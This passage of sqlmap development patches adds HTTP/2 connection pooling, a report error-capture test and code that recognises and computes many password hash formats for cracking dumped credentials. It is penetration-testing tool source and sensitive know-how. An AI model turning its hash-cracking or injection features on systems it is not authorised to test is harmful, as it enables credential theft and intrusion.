(REPORT_TASKID, str(record.msg % record.args if record.args else record.msg))) + except Exception: + pass + def setRestAPILog(): if conf.api: try: diff --git a/tests/test_library.py b/tests/test_library.py index 254925c63..73b41007d 100644 --- a/tests/test_library.py +++ b/tests/test_library.py @@ -107,5 +107,27 @@ class TestLibraryFacade(unittest.TestCase): self.assertRaises(sqlmap.SqlmapError, sqlmap.scan, "http://target/?id=1") +class TestReportErrorCapture(unittest.TestCase): + """ + The library tells failure modes apart (unreachable vs nothing-found) because a CLI --report-json + run now records error/critical log messages into the report 'error' array, like the REST API. + """ + + def test_errors_reach_the_report(self): + from lib.core.data import logger + from lib.utils.api import setupReportCollector, _assembleData, ReportErrorRecorder, REPORT_TASKID + + collector = setupReportCollector() + try: + logger.error("boom %s", "here") + result = _assembleData(collector, REPORT_TASKID) + self.assertTrue(any("boom here" in _ for _ in result["error"])) + finally: + for handler in list(logger.handlers): + if isinstance(handler, ReportErrorRecorder): + logger.removeHandler(handler) + collector.disconnect() + + if __name__ == "__main__": unittest.main(verbosity=2) From a7c9b721fd97df04ba16c5b8a196f28147e1c033 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 2 Jul 2026 13:39:47 +0200 Subject: [PATCH 15/34] Adding support for HTTP2 connection reusage --- data/txt/sha256sums.txt | 4 +- lib/core/settings.py | 2 +- lib/request/http2.py | 144 +++++++++++++++++++++++++++++++--------- 3 files changed, 117 insertions(+), 33 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index e1d4174ac..228cd713c 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ b14628a6c9327d110afe50b01f3171f64f61823343b8de89596e854b00b74928 lib/core/dump. 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -2c37b4a614c1d64facc5cf9d22b423316722a41768f57d9c2913dc23d30a7b21 lib/core/settings.py +0b0a122d3ae6f64c2af2aab91b72ecf6573e9cc1fd250f41ba441be60d8dd464 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -215,7 +215,7 @@ bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/ch 4a3b997a83b1724e8bd025be95ec5d84c6bf41d533ba097fcab1eab763352111 lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py a6b37b436838caeb197fea858d0a39fadbff4736256e741b5fcec1f28fcf1ce0 lib/request/dns.py -3afb06089f2801d5a12458a313b278db62c17a8d8fd3b8c46f07670699119af3 lib/request/http2.py +7344978ac1c52060716b7837c88a62768c6a445eafe189ea3232b8a498fdd038 lib/request/http2.py 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py 7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 2d7b6e045..55c7bac98 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.14" +VERSION = "1.10.7.15" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/http2.py b/lib/request/http2.py index 81351db4c..c885f75cf 100644 --- a/lib/request/http2.py +++ b/lib/request/http2.py @@ -14,6 +14,7 @@ import base64 import socket import ssl import struct +import threading try: from http.client import responses as _HTTP_RESPONSES @@ -431,44 +432,86 @@ def _connect_socket(host, port, proxy, timeout): pass raise -def h2_request(host, port=443, method="GET", path="/", authority=None, headers=None, body=None, timeout=30, proxy=None): - authority = authority or host - ctx = ssl._create_unverified_context() - ctx.set_alpn_protocols(["h2"]) - sock = ctx.wrap_socket(_connect_socket(host, port, proxy, timeout), server_hostname=host) - try: - if sock.selected_alpn_protocol() != "h2": - raise IOError("server did not negotiate h2 (ALPN=%r)" % sock.selected_alpn_protocol()) - sock.settimeout(timeout) +class _UnprocessedStream(IOError): + """Raised when the server made it clear our stream was NOT processed (GOAWAY with last-stream-id below + ours), so the request is always safe to retry on a fresh connection.""" - # connection preface + client SETTINGS (advertise a large per-stream window) + bump conn window - sock.sendall(CONNECTION_PREFACE) - sock.sendall(encode_frame(SETTINGS, 0, 0, struct.pack("!HI", SETTINGS_INITIAL_WINDOW_SIZE, BIG_WINDOW))) - sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", BIG_WINDOW - 65535))) +class _H2Connection(object): + """A single HTTP/2 connection reused for sequential (one-stream-at-a-time) requests within a thread. + + Multiplexing is intentionally NOT used - one stream is fully consumed before the next is opened - which + preserves request<->response isolation (clean time-based latency, no desync), exactly like the + thread-local HTTP/1.1 keep-alive pool. Reuse amortizes the TCP+TLS+preface cost across all of a thread's + requests to a host. Correctness note: only the HPACK Decoder (server->client dynamic table) is stateful, + so it is kept per-connection and fed responses in order; the Encoder is literal-without-indexing + (stateless), hence a fresh one per request is safe on a reused socket.""" + + def __init__(self, host, port, proxy, timeout): + self.host, self.port, self.proxy = host, port, proxy + self.dec = Decoder() # persistent server->client HPACK table + self.next_sid = 1 # odd, strictly increasing per RFC 7540 + self.usable = True + ctx = ssl._create_unverified_context() + ctx.set_alpn_protocols(["h2"]) + self.sock = ctx.wrap_socket(_connect_socket(host, port, proxy, timeout), server_hostname=host) + try: + if self.sock.selected_alpn_protocol() != "h2": + raise IOError("server did not negotiate h2 (ALPN=%r)" % self.sock.selected_alpn_protocol()) + self.sock.settimeout(timeout) + # connection preface + client SETTINGS (advertise a large per-stream window) + bump conn window + self.sock.sendall(CONNECTION_PREFACE) + self.sock.sendall(encode_frame(SETTINGS, 0, 0, struct.pack("!HI", SETTINGS_INITIAL_WINDOW_SIZE, BIG_WINDOW))) + self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", BIG_WINDOW - 65535))) + except Exception: + self.close() + raise + + def close(self): + self.usable = False + try: + self.sock.close() + except Exception: + pass + + def __del__(self): + self.close() + + def exchange(self, method, path, authority, headers, body, timeout): + if not self.usable: + raise IOError("HTTP/2 connection no longer usable") + + sid = self.next_sid + self.next_sid += 2 + if self.next_sid >= BIG_WINDOW: # stream-id space nearly exhausted -> retire after this + self.usable = False + self.sock.settimeout(timeout) req = [(b":method", _tob(method)), (b":scheme", b"https"), (b":path", _tob(path)), (b":authority", _tob(authority))] for k, v in (headers or {}).items(): req.append((_tob(k).lower(), _tob(v))) hblock = Encoder().encode(req) - sock.sendall(encode_frame(HEADERS, FLAG_END_HEADERS | (0 if body else FLAG_END_STREAM), 1, hblock)) + self.sock.sendall(encode_frame(HEADERS, FLAG_END_HEADERS | (0 if body else FLAG_END_STREAM), sid, hblock)) if body: - sock.sendall(encode_frame(DATA, FLAG_END_STREAM, 1, _tob(body))) + self.sock.sendall(encode_frame(DATA, FLAG_END_STREAM, sid, _tob(body))) - dec = Decoder() header_block, resp_headers, resp_body, done = b"", None, bytearray(), False while not done: - ftype, flags, sid, payload = _read_frame(sock) + ftype, flags, fsid, payload = _read_frame(self.sock) if ftype == SETTINGS: if not (flags & FLAG_ACK): - sock.sendall(encode_frame(SETTINGS, FLAG_ACK, 0, b"")) + self.sock.sendall(encode_frame(SETTINGS, FLAG_ACK, 0, b"")) elif ftype == PING: if not (flags & FLAG_ACK): - sock.sendall(encode_frame(PING, FLAG_ACK, 0, payload)) + self.sock.sendall(encode_frame(PING, FLAG_ACK, 0, payload)) elif ftype == GOAWAY: - done = True - elif ftype == RST_STREAM and sid == 1: + self.usable = False # server won't accept new streams -> retire connection + last_sid = (struct.unpack("!I", payload[4:8])[0] & 0x7fffffff) if len(payload) >= 8 else 0 + if sid > last_sid: # our stream was not processed -> safe to retry fresh + raise _UnprocessedStream("GOAWAY (last stream %d) before stream %d was processed" % (last_sid, sid)) + elif ftype == RST_STREAM and fsid == sid: + self.usable = False raise IOError("stream reset by server (error %d)" % struct.unpack("!I", payload[:4])[0]) - elif ftype in (HEADERS, CONTINUATION) and sid == 1: + elif ftype in (HEADERS, CONTINUATION) and fsid == sid: p = payload if ftype == HEADERS: if flags & FLAG_PADDED: @@ -477,17 +520,17 @@ def h2_request(host, port=443, method="GET", path="/", authority=None, headers=N p = p[5:] header_block += p if flags & FLAG_END_HEADERS: - resp_headers = dec.decode(header_block) + resp_headers = self.dec.decode(header_block) if flags & FLAG_END_STREAM: done = True - elif ftype == DATA and sid == 1: + elif ftype == DATA and fsid == sid: p = payload if flags & FLAG_PADDED: p = p[1:len(p) - bytearray(payload)[0]] resp_body += p if payload: # replenish stream + connection windows - sock.sendall(encode_frame(WINDOW_UPDATE, 0, 1, struct.pack("!I", len(payload)))) - sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", len(payload)))) + self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, sid, struct.pack("!I", len(payload)))) + self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", len(payload)))) if flags & FLAG_END_STREAM: done = True status = None @@ -496,9 +539,50 @@ def h2_request(host, port=443, method="GET", path="/", authority=None, headers=N status = int(v) break return status, resp_headers, bytes(resp_body) + +# Thread-local pool: one live connection per (host, port, proxy) per thread. Mirrors keepalive.py's model +# (one connection per host per thread) so streams never interleave across threads and time-based +# measurements stay clean. +_h2_pool = threading.local() + +def _pooledExchange(host, port, proxy, method, path, authority, headers, body, timeout): + pool = getattr(_h2_pool, "connections", None) + if pool is None: + pool = _h2_pool.connections = {} + key = (host, port, proxy) + + conn = pool.get(key) + reused = conn is not None and conn.usable + if not reused: + if conn is not None: + conn.close() + conn = pool[key] = _H2Connection(host, port, proxy, timeout) + + try: + result = conn.exchange(method, path, authority, headers, body, timeout) + except _UnprocessedStream: # explicitly not processed -> always safe to retry fresh + conn.close(); pool.pop(key, None) + conn = pool[key] = _H2Connection(host, port, proxy, timeout) + result = conn.exchange(method, path, authority, headers, body, timeout) + except (socket.error, ssl.SSLError, IOError): + conn.close(); pool.pop(key, None) + if reused: # stale keep-alive socket (server closed idle conn) -> reopen once + conn = pool[key] = _H2Connection(host, port, proxy, timeout) + result = conn.exchange(method, path, authority, headers, body, timeout) + else: + raise + if not conn.usable: # GOAWAY / id-exhaustion mid-exchange -> don't keep it pooled + conn.close(); pool.pop(key, None) + return result + +def h2_request(host, port=443, method="GET", path="/", authority=None, headers=None, body=None, timeout=30, proxy=None): + """One-shot request on a throwaway connection (kept for direct/back-compat callers; the engine path + goes through open_url -> the reusing pool).""" + conn = _H2Connection(host, port, proxy, timeout) + try: + return conn.exchange(method, path, authority or host, headers, body, timeout) finally: - try: sock.close() - except Exception: pass + conn.close() class H2Response(object): @@ -567,8 +651,8 @@ def open_url(url, method="GET", headers=None, body=None, timeout=30, follow_redi path = parts.path or "/" if parts.query: path += "?" + parts.query - status, resp_headers, resp_body = h2_request(parts.hostname, parts.port or 443, method=method, path=path, - authority=parts.netloc.split("@")[-1], headers=req_headers, body=body, timeout=timeout, proxy=proxy) + status, resp_headers, resp_body = _pooledExchange(parts.hostname, parts.port or 443, proxy, method, path, + parts.netloc.split("@")[-1], req_headers, body, timeout) if follow_redirects and status in REDIRECT_CODES: location = None for name, value in (resp_headers or []): From d6299fc4f5c36248a25ef9d7b159acbf2b24d673 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 2 Jul 2026 16:29:40 +0200 Subject: [PATCH 16/34] Adding more supported hash algorithms --- data/txt/sha256sums.txt | 12 +- data/xml/queries.xml | 4 +- lib/core/enums.py | 11 ++ lib/core/option.py | 9 + lib/core/settings.py | 2 +- lib/request/comparison.py | 9 +- lib/utils/hash.py | 364 +++++++++++++++++++++++++++++++++++++- 7 files changed, 394 insertions(+), 17 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 228cd713c..17ec05495 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -84,7 +84,7 @@ c8d467837c8567b61a11e2dfd75a2d8305a8b317041ee81eda6d0e47609dabb7 data/xml/paylo 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml 379fc92f2dadd948f401e17490d8a8f03a1988d817323cbe1feff5fe87726079 data/xml/payloads/time_blind.xml 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml -45aa5280edc0412a217498bd229651ff9c55afab44d555507ee5bdc27531de82 data/xml/queries.xml +ff99497d2f04a872e16e799183e6c8f2e16f3e69cddb336e29162f1e92ae45c7 data/xml/queries.xml 127799739f9aeabca367027197f3c0240f141303bd7499928ccfa1443bf148c7 doc/ARCHITECTURE.md 0f5a9c84cb57809be8759f483c7d05f54847115e715521ac0ecf390c0aa68465 doc/AUTHORS ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md @@ -177,19 +177,19 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py 8e4f4b5ea37a49d445bb0df83bf04b34f61035ec33fd8acf598ebcf371cb19a7 lib/core/dicts.py b14628a6c9327d110afe50b01f3171f64f61823343b8de89596e854b00b74928 lib/core/dump.py -6dd47f52082e98dc0cda6969b277b7d81c6f7c68dac4688821f873a1c65c6edf lib/core/enums.py +c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums.py 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py 4fe3ac4c0d354d1ac42ad3f5dc1b308993588f8a249ff880d273f5031d6b52b0 lib/core/optiondict.py -0235aa27d0c8cfe54180f2a003f749065d11bf167923a8189844efd45469c612 lib/core/option.py +ca3d9185aa5418cdfc79f43beb4ad6f6503496763f349ecef57fff278bcfc8c8 lib/core/option.py 21b2b1745107c211fc7593923a3da7a808d40763c00091c28de5f7c129bcf3bc lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 0c36a65b6237732eb001d333f80f0c58c088ff01ae80cf07e4dcc6da2a806364 lib/core/readlineng.py 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -0b0a122d3ae6f64c2af2aab91b72ecf6573e9cc1fd250f41ba441be60d8dd464 lib/core/settings.py +5fa3141353791446463a215a5481048346aa0f1dde08f1fe8fa6834a22aa23c1 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -211,7 +211,7 @@ c2f34e27578742e729c2fa9c1d4f0a0d8f8f7f4cf0fc14c62ec817a260c71dec lib/parse/site 1be3da334411657461421b8a26a0f2ff28e1af1e28f1e963c6c92768f9b0847c lib/request/basicauthhandler.py a988c659e0c642e4f3dc4034118b5a6e138a522394ff2eda5bdc3c8495ea2207 lib/request/basic.py bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py -9c0dccc1cee66d38478aaf75a7c513d0d136d50a90b15fed146faa1653899fe1 lib/request/comparison.py +4fd1957e31b14e7670b09d85a634fa6772a1cd90babe149f39a1c945fe306f0a lib/request/comparison.py 4a3b997a83b1724e8bd025be95ec5d84c6bf41d533ba097fcab1eab763352111 lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py a6b37b436838caeb197fea858d0a39fadbff4736256e741b5fcec1f28fcf1ce0 lib/request/dns.py @@ -263,7 +263,7 @@ bd9267d94390ba87d6c5a35c90f2406d6a4135a7c8ea01db76dd9e6519eee2ed lib/utils/dial 3c4ad819589fe4fca303706dc87969273a07a04dee85e23f064b39caf1fb80e9 lib/utils/gui.py 972c5db9c9e30ac0f91c0f8d4df4531d0304e151dac99f1399c37c952ba9f935 lib/utils/har.py 0cd3860c03e39bacd1d0fe4cf1a0c605de48ff82f70441319f21d47e38e7e3a9 lib/utils/hashdb.py -71a66ff766a2921106770b26acff380de469222dc893816a7b970b384c927666 lib/utils/hash.py +f1f29dee813d08be77023543c45a4f3621ed26b1bbc133c020b618256663baaf lib/utils/hash.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/utils/__init__.py 1bbf57e43f921d4132e6e5a336ff39454a9506b36de94ebcc45879d0abcac56a lib/utils/keysetdump.py b57aa20b7a6fd8afd07bae773fd03f8acb05655ee605362b220e65a0664dc38d lib/utils/library.py diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 449b6cb9b..61dc69d9e 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -35,8 +35,8 @@ - - + + diff --git a/lib/core/enums.py b/lib/core/enums.py index 479b9f682..727eaed88 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -180,6 +180,8 @@ class HASH(object): MYSQL = r'(?i)\A\*[0-9a-f]{40}\Z' MYSQL_OLD = r'(?i)\A(?![0-9]+\Z)[0-9a-f]{16}\Z' POSTGRES = r'(?i)\Amd5[0-9a-f]{32}\Z' + POSTGRES_SCRAM = r'\ASCRAM-SHA-256\$\d+:[A-Za-z0-9+/]+={0,2}\$[A-Za-z0-9+/]+={0,2}:[A-Za-z0-9+/]+={0,2}\Z' + MYSQL_SHA2 = r'\A\$mysql\$A\$[0-9A-Fa-f]{3}\*[0-9A-Fa-f]{40}\*[0-9A-Fa-f]{86}\Z' MSSQL = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{40}\Z' MSSQL_OLD = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{80}\Z' MSSQL_NEW = r'(?i)\A0x0200[0-9a-f]{8}[0-9a-f]{128}\Z' @@ -192,6 +194,8 @@ class HASH(object): SHA384_GENERIC = r'(?i)\A[0-9a-f]{96}\Z' SHA512_GENERIC = r'(?i)\A(0x)?[0-9a-f]{128}\Z' CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z' + SHA256_UNIX_CRYPT = r'\A\$5\$(?:rounds=\d+\$)?[./0-9A-Za-z]{1,16}\$[./0-9A-Za-z]{43}\Z' + SHA512_UNIX_CRYPT = r'\A\$6\$(?:rounds=\d+\$)?[./0-9A-Za-z]{1,16}\$[./0-9A-Za-z]{86}\Z' JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z' PHPASS = r'\A\$[PHQS]\$[./0-9a-zA-Z]{31}\Z' APACHE_MD5_CRYPT = r'\A\$apr1\$.{1,8}\$[./a-zA-Z0-9]+\Z' @@ -205,6 +209,13 @@ class HASH(object): SSHA512 = r'\A\{SSHA512\}[a-zA-Z0-9+/]+={0,2}\Z' DJANGO_MD5 = r'\Amd5\$[^$]*\$[0-9a-f]{32}\Z' DJANGO_SHA1 = r'\Asha1\$[^$]*\$[0-9a-f]{40}\Z' + DJANGO_PBKDF2_SHA256 = r'\Apbkdf2_sha256\$\d+\$[^$]+\$[A-Za-z0-9+/]+={0,2}\Z' + WERKZEUG_PBKDF2 = r'\Apbkdf2:(?:sha1|sha256|sha512):\d+\$[^$]+\$[0-9a-f]+\Z' + WERKZEUG_SCRYPT = r'\Ascrypt:\d+:\d+:\d+\$[^$]+\$[0-9a-f]+\Z' + BCRYPT = r'\A\$2[abxy]\$\d{2}\$[./A-Za-z0-9]{53}\Z' + WORDPRESS_BCRYPT = r'\A\$wp\$2[abxy]\$\d{2}\$[./A-Za-z0-9]{53}\Z' + ARGON2 = r'\A\$argon2(?:id|i|d)\$v=\d+\$m=\d+,t=\d+,p=\d+\$[A-Za-z0-9+/]+={0,2}\$[A-Za-z0-9+/]+={0,2}\Z' + ASPNET_IDENTITY = r'\AAQAAAA[A-Za-z0-9+/]{76}==\Z' MD5_BASE64 = r'\A[a-zA-Z0-9+/]{22}==\Z' SHA1_BASE64 = r'\A[a-zA-Z0-9+/]{27}=\Z' SHA256_BASE64 = r'\A[a-zA-Z0-9+/]{43}=\Z' diff --git a/lib/core/option.py b/lib/core/option.py index 135643512..e69067f68 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -870,6 +870,15 @@ def _setTamperingFunctions(): warnMsg += "a good idea" logger.warning(warnMsg) + # tamper scripts rewrite SQL injection payloads; the self-contained non-SQL engines + # (--graphql/--nosql/--ldap/--xpath/--ssti) do not run payloads through the tampering hook, so + # warn instead of silently ignoring the user's '--tamper' + if kb.tamperFunctions and any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti)): + engine = next(_ for _ in ("graphql", "nosql", "ldap", "xpath", "ssti") if conf.get(_)) + warnMsg = "tamper scripts are applied to SQL injection payloads only and " + warnMsg += "will be ignored by the '--%s' engine" % engine + logger.warning(warnMsg) + if resolve_priorities and priorities: priorities.sort(key=functools.cmp_to_key(lambda a, b: cmp(a[0], b[0])), reverse=True) kb.tamperFunctions = [] diff --git a/lib/core/settings.py b/lib/core/settings.py index 55c7bac98..d39b04e52 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.15" +VERSION = "1.10.7.16" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/comparison.py b/lib/request/comparison.py index e32782973..d2e8bac07 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -39,15 +39,18 @@ from thirdparty import six def _isJsonResponse(headers): """ - Returns True if the response Content-Type indicates a JSON document (e.g. 'application/json' - or a structured suffix like 'application/vnd.api+json') + Returns True if the response Content-Type plausibly indicates a JSON document - i.e. the canonical + 'application/json', the common misservings ('text/json', 'application/javascript', ...), or a + structured suffix like 'application/vnd.api+json'. Being liberal here is safe: jsonMinimize() returns + None for anything that is not actually parseable JSON, so a mislabelled body simply falls back to the + normal text comparison. """ retVal = False if headers: contentType = (headers.get(HTTP_HEADER.CONTENT_TYPE) or "").split(';')[0].strip().lower() - retVal = contentType == "application/json" or contentType.endswith("+json") + retVal = contentType in ("application/json", "text/json", "application/javascript", "text/javascript", "application/x-javascript") or contentType.endswith("+json") return retVal diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 11831534f..b26388265 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -19,19 +19,27 @@ except: from thirdparty.pydes.pyDes import CBC from thirdparty.pydes.pyDes import des +try: + from hashlib import scrypt as _scrypt # not available on Python 2 (added in 3.6) +except ImportError: + _scrypt = None + _multiprocessing = None import base64 import binascii import gc +import hmac import math import os import re +import struct import tempfile import time import zipfile from hashlib import md5 +from hashlib import pbkdf2_hmac from hashlib import sha1 from hashlib import sha224 from hashlib import sha256 @@ -146,6 +154,21 @@ def postgres_passwd(password, username, uppercase=False): return retVal.upper() if uppercase else retVal.lower() +def postgres_scram_passwd(password, salt, iterations, **kwargs): # since version '10' + """ + Reference(s): + https://www.rfc-editor.org/rfc/rfc5803 + + >>> postgres_scram_passwd(password='testpass', salt='c2FsdHNhbHRzYWx0', iterations=4096) + 'SCRAM-SHA-256$4096:c2FsdHNhbHRzYWx0$AzDKnszrCJPfdiFrFLbdoiqdocK4KWksHHcs3Jx7R5w=:lmWF1kOl/PbOyhpnGuBGzKyuP3XYMK6whWukBxHiHLc=' + """ + + salted = pbkdf2_hmac("sha256", getBytes(password), decodeBase64(salt, binary=True), iterations) + stored_key = sha256(hmac.new(salted, b"Client Key", sha256).digest()).digest() + server_key = hmac.new(salted, b"Server Key", sha256).digest() + + return "SCRAM-SHA-256$%d:%s$%s:%s" % (iterations, salt, getText(base64.b64encode(stored_key)), getText(base64.b64encode(server_key))) + def mssql_new_passwd(password, salt, uppercase=False): # since version '2012' """ Reference(s): @@ -439,6 +462,243 @@ def unix_md5_passwd(password, salt, magic="$1$", **kwargs): return getText(magic + salt + b'$' + getBytes(hash_)) +# SHA-crypt (Drepper) final-permutation byte orders for the 32/64-byte digests +_SHA256_CRYPT_ORDER = ((0, 10, 20), (21, 1, 11), (12, 22, 2), (3, 13, 23), (24, 4, 14), (15, 25, 5), (6, 16, 26), (27, 7, 17), (18, 28, 8), (9, 19, 29), (31, 30)) +_SHA512_CRYPT_ORDER = ((0, 21, 42), (22, 43, 1), (44, 2, 23), (3, 24, 45), (25, 46, 4), (47, 5, 26), (6, 27, 48), (28, 49, 7), (50, 8, 29), (9, 30, 51), (31, 52, 10), (53, 11, 32), (12, 33, 54), (34, 55, 13), (56, 14, 35), (15, 36, 57), (37, 58, 16), (59, 17, 38), (18, 39, 60), (40, 61, 19), (62, 20, 41), (63,)) + +def _shaCryptDigest(password, salt, rounds, digestmod, order): + dsize = digestmod().digest_size + + B = digestmod(password + salt + password).digest() + + ctx = digestmod(password + salt) + cnt = len(password) + while cnt > dsize: + ctx.update(B) + cnt -= dsize + ctx.update(B[:cnt]) + + i = len(password) + while i: + ctx.update(B if i & 1 else password) + i >>= 1 + A = ctx.digest() + + dp = digestmod() + for _ in xrange(len(password)): + dp.update(password) + DP = dp.digest() + P = DP * (len(password) // dsize) + DP[:len(password) % dsize] + + ds = digestmod() + for _ in xrange(16 + (A[0] if isinstance(A[0], int) else ord(A[0]))): + ds.update(salt) + DS = ds.digest() + S = DS * (len(salt) // dsize) + DS[:len(salt) % dsize] + + C = A + for i in xrange(rounds): + c = digestmod() + c.update(P if i & 1 else C) + if i % 3: + c.update(S) + if i % 7: + c.update(P) + c.update(C if i & 1 else P) + C = c.digest() + + retVal = "" + for group in order: + value = 0 + for idx in group: + value = (value << 8) | (C[idx] if isinstance(C[idx], int) else ord(C[idx])) + for _ in xrange((len(group) * 8 + 5) // 6): + retVal += ITOA64[value & 0x3f] + value >>= 6 + + return retVal + +def sha2_crypt_passwd(password, salt, magic="$5$", **kwargs): + """ + Reference(s): + https://www.akkadia.org/drepper/SHA-crypt.txt + + >>> sha2_crypt_passwd(password='testpass', salt='saltstring', magic='$5$') + '$5$saltstring$rn/td51LeVLXb2RR8WT672g4QhAuobh1gQQFGFiRCT.' + >>> sha2_crypt_passwd(password='testpass', salt='saltstring', magic='$6$') + '$6$saltstring$Oxduy3vBZ8CEBR5mER96ach5GlbbBT1Oz5g1UNdPqomx5bB1.IwS1ZFoW8fpb0xvz/BCS7.LzpkW7GAFOW9yC.' + """ + + rounds, saltstr = 5000, salt + if salt.startswith("rounds="): + prefix, saltstr = salt.split('$', 1) + rounds = int(prefix[len("rounds="):]) + + order, digestmod = (_SHA256_CRYPT_ORDER, sha256) if magic == "$5$" else (_SHA512_CRYPT_ORDER, sha512) + digest = _shaCryptDigest(getBytes(password), getBytes(saltstr)[:16], rounds, digestmod, order) + + return "%s%s$%s" % (magic, salt, digest) + +def mysql_sha2_passwd(password, salt, rounds, prefix, **kwargs): # MySQL 8 'caching_sha2_password' (sha256crypt, 20-byte salt) + """ + Reference(s): + https://hashcat.net/wiki/doku.php?id=example_hashes + + >>> mysql_sha2_passwd(password='hashcat', salt=decodeHex('F9CC98CE08892924F50A213B6BC571A2C11778C5'), rounds=5000, prefix='$mysql$A$005*F9CC98CE08892924F50A213B6BC571A2C11778C5*') + '$mysql$A$005*F9CC98CE08892924F50A213B6BC571A2C11778C5*625479393559393965414D45316477456B484F41316E64484742577A2E3162785353526B7554584647562F' + """ + + digest = _shaCryptDigest(getBytes(password), bytes(salt), rounds, sha256, _SHA256_CRYPT_ORDER) + + return "%s%s" % (prefix, getText(encodeHex(getBytes(digest), binary=False)).upper()) + +# bcrypt (Provos-Mazieres EksBlowfish); the Blowfish P/S init constants are the fractional hex digits of pi +BCRYPT_ITOA64 